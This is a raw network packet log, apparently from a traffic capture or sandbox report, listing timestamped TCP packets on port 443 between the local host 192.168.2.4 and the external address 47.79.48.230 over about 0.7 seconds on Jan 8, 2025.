Jan 8, 2025 07:15:06.584250927 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.584350109 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.584362984 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.587480068 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.593647003 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.593663931 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.593718052 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.593727112 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.593751907 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.593774080 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.605086088 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.605107069 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.605175972 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.605185986 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.605252028 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.616276979 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.616291046 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.616348982 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.616357088 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.616610050 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.627162933 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.627178907 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.627243042 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.627252102 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.627300978 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.640304089 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.640320063 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.640377998 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.640384912 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.640412092 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.640430927 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.656591892 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.656606913 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.656671047 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.656678915 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.656761885 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.659820080 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.659836054 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.659883976 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.659890890 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.659933090 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.671180964 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.671200991 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.671279907 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.671288013 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.671345949 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.680603027 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.680618048 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.680675030 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.680681944 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.680695057 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.680716991 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.692508936 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.692523956 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.692569971 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.692594051 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.692610979 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.692629099 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.703140020 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.703155041 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.703208923 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.703222990 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.703260899 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.714193106 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.714207888 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.714241982 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.714289904 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.714298010 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.714488983 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.727442980 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.727457047 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.727513075 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.727541924 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.727557898 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.727907896 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.743585110 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.743603945 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.743666887 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.743675947 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.743925095 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.746906042 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.746933937 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.746968031 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.746973991 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.747008085 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.747024059 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.757950068 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.757970095 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.758039951 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.758049011 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.758112907 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.767385006 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.767400980 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.767457008 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.767499924 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.767518997 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.767683029 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.779233932 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.779256105 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.779304028 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.779328108 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.779341936 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.779472113 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.789988041 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.790004969 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.790071964 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.790081978 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.790153027 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.801203012 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.801219940 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.801302910 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.801311970 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.801358938 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.814255953 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.814280987 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.814330101 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.814342976 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.814388037 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.814408064 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.830538988 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.830558062 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.830596924 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.830609083 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.830635071 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.830645084 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.833853960 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.833880901 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.833933115 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.833951950 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.833967924 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.833992958 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.844963074 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.845015049 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.845051050 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.845058918 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.845093966 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.845112085 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.854408979 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.854425907 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.854486942 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.854496002 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.854554892 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.866097927 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.866115093 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.866200924 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.866209984 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.866261959 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.877043962 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.877059937 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.877132893 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.877142906 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.877199888 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.888322115 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.888340950 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.888400078 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.888410091 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.888426065 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.888439894 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.901132107 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.901149988 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.901207924 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.901221037 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.901366949 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.917443037 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.917463064 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.917500019 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.917540073 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.917546988 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.917606115 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.920689106 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.920710087 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.920778990 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.920788050 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.920830965 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.931976080 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.931991100 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.932044029 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.932070017 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.932094097 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.932164907 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.941339016 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.941354990 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.941421032 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.941451073 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.941523075 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.953068972 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.953084946 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.953197002 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.953219891 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.955017090 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.964066029 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.964083910 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.964167118 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.964186907 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.965322018 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.975217104 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.975250959 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.975279093 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.975294113 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.975318909 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.975336075 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.988209963 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.988226891 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.988281012 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:06.988296986 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:06.988346100 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.004407883 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.004424095 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.004483938 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.004508018 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.004519939 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.004543066 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.007611990 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.007627964 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.007672071 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.007678986 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.007708073 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.007726908 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.018932104 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.018945932 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.019025087 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.019054890 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.019159079 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.028254032 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.028270960 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.028305054 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.028314114 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.028342009 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.028362036 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.039947987 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.039963961 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.040029049 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.040035963 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.040070057 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.040083885 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.050967932 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.050985098 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.051024914 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.051033020 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.051067114 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.062158108 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.062179089 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.062237978 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.062246084 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.062298059 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.074981928 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.075001001 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.075047016 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.075058937 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.075077057 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.075103045 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.091419935 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.091451883 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.091492891 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.091499090 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.091530085 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.091542006 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.094459057 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.094475985 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.094526052 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.094532013 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.094561100 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.094574928 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.105854988 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.105874062 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.105916977 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.105925083 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.105958939 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.105973005 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.115175009 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.115189075 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.115237951 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.115247011 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.115278959 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.127118111 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.127140999 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.127213955 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.127228975 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.127274036 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.137883902 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.137906075 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.137969017 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.137978077 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.138029099 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.149056911 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.149075985 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.149216890 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.149226904 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.149277925 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.161921978 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.161952019 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.161993980 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.162002087 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.162034035 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.162051916 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.178211927 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.178229094 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.178337097 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.178344965 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.178570986 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.181452990 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.181473970 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.181504965 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.181513071 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.181546926 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.181570053 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.192842007 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.192861080 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.192910910 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.192923069 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.192950010 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.192959070 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.202182055 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.202198029 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.202248096 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.202255964 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.202287912 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.202297926 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.213922024 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.213939905 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.213996887 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.214004993 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.214350939 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.224759102 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.224776030 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.224827051 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.224836111 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.224850893 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.224875927 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.235959053 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.235987902 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.236027956 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.236051083 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.236078978 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.236087084 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.248918056 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.248938084 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.248991013 CET	49732	443	192.168.2.4	47.79.48.230
Jan 8, 2025 07:15:07.249000072 CET	443	49732	47.79.48.230	192.168.2.4
Jan 8, 2025 07:15:07.249017954 CET	49732	443	192.168.2.4	47.79.48.230
